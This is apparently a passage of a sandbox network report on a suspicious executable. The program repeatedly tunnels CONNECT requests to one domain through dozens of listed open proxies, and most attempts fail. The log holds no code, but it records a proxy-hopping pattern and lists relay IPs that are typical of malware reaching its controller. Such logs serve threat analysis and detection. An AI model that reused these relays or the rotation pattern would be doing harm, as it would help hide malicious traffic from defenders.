Feb 23, 2024 09:45:23.235347986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
957	192.168.2.4	50177	188.252.14.7	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.235917091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365675926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366089106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.366281986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
958	192.168.2.4	52837	43.133.80.236	15673	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.235917091 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
959	192.168.2.4	50173	212.115.232.79	31280	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.235919952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365700006 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366089106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
960	192.168.2.4	50277	51.195.139.95	24604	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.244853973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
961	192.168.2.4	52830	103.212.95.253	41363	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.245282888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
962	192.168.2.4	50822	58.69.125.145	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.245691061 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.252243042 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
963	192.168.2.4	52211	120.194.4.157	82	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.248809099 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.813900948 CET	319	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 170 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
964	192.168.2.4	52423	173.249.33.122	47537	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.253000021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365719080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366105080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.366297960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
965	192.168.2.4	50229	190.52.165.120	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.262985945 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365780115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.366101027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.966759920 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
966	192.168.2.4	52833	128.199.202.122	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.262986898 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.655874014 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
967	192.168.2.4	50285	193.34.93.221	33861	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.263084888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
968	192.168.2.4	52865	78.186.18.142	3629	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.263086081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
969	192.168.2.4	52859	211.222.252.187	8193	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.263192892 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
970	192.168.2.4	52880	70.166.167.55	57745	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.263197899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
971	192.168.2.4	52847	41.65.236.35	1981	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.271672010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.121901035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.147030115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.129884005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.061091900 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.969532967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.846242905 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:46.506160021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:01.803023100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
972	192.168.2.4	52876	37.235.48.19	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.272300005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
973	192.168.2.4	52848	103.118.46.61	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.298734903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.642740965 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
974	192.168.2.4	52883	213.6.68.210	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.312913895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
975	192.168.2.4	52850	103.200.135.230	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.312913895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
976	192.168.2.4	52502	128.199.5.121	32339	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.316569090 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.443717003 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.537708998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.647125959 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
977	192.168.2.4	52887	177.12.118.160	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.317266941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
978	192.168.2.4	50983	109.238.12.156	26770	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.321751118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.443783045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
979	192.168.2.4	50840	203.253.142.176	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.322426081 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
980	192.168.2.4	52493	104.238.111.107	15419	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.368700027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.865725040 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.365885019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.365824938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.178503990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
981	192.168.2.4	51325	162.253.68.97	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.369354010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
982	192.168.2.4	50339	164.92.85.180	23971	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.383944988 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.475038052 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475238085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.475294113 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
983	192.168.2.4	52898	44.190.9.65	48100	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.391200066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
984	192.168.2.4	52911	203.32.120.195	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.391525984 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.479170084 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
985	192.168.2.4	52485	160.153.254.240	39880	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.404036045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
986	192.168.2.4	52548	91.107.143.233	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.409451008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.475052118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.475238085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.433053970 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
987	192.168.2.4	50186	129.154.227.14	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.422686100 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
988	192.168.2.4	52611	45.79.197.129	81	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.467160940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
989	192.168.2.4	52903	162.214.164.200	42624	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.467283010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.943778038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:24.464879036 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.492160082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:27.556094885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.647078037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.834619045 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.944292068 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.146888018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
990	192.168.2.4	52922	203.24.103.8	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.467291117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.555072069 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:23 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
991	192.168.2.4	52886	115.171.217.48	7891	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.467461109 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
992	192.168.2.4	52897	186.124.164.213	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.489924908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
993	192.168.2.4	52901	212.31.100.138	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.502012014 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
994	192.168.2.4	52550	189.240.60.163	9090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:23.502118111 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.692359924 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
